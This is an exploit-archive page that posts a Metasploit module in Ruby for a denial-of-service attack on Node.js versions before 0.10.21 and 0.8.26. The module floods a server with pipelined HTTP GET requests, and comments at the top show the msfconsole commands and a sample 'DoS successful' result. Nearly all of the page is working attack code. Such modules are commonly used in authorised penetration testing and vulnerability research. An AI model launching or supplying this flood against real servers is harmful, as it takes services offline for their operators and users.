Home / exploits

PDF

Node.js HTTP Pipelining Denial of Service Exploit

Posted on 22 October 2013

#$ node -e "require('http').createServer(function(req, res){res.end();}).listen(9090);"
#msf> use auxiliary/dos/http/node_pipelining
#msf> set RHOST 127.0.0.1
#msf> set RPORT 9090
#msf> set RLIMIT 10000000   # depends on your machine
#msf> run
#...
#
#[*] DoS successful. 192.168.0.4:9090 not responding.
#
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Node.js HTTP Pipelining DoS',
      'Description' => %q{
This module exploits a DoS in the HTTP parser of Node.js versions
released before 0.10.21 and 0.8.26. The vulnerability is caused by a
lack of backpressure on pipelined requests, causing unbounded memory
allocation for each request.
},
      'Author' => [ 'titanous', 'Marek Majkowski' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'URL', 'https://github.com/joyent/node/issues/6214' ],
        ],
      'DisclosureDate' => 'Oct 18 2013'))

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('RLIMIT', [true, "Number of requests to send", 1000])
      ],
    self.class)
  end

  def run
    host = datastore['RHOST']
    host += ":" + datastore['RPORT'].to_s if datastore['RPORT'].to_i != 80

    payload = "GET / HTTP/1.1
"
    payload << "Host: #{host}

"

    begin
      connect
      datastore['RLIMIT'].times { sock.put(payload) }
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Unable to connect to #{host}.")
    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
      print_status("DoS successful. #{host} not responding.")
    ensure
      disconnect
    end
  end
end

 

TOP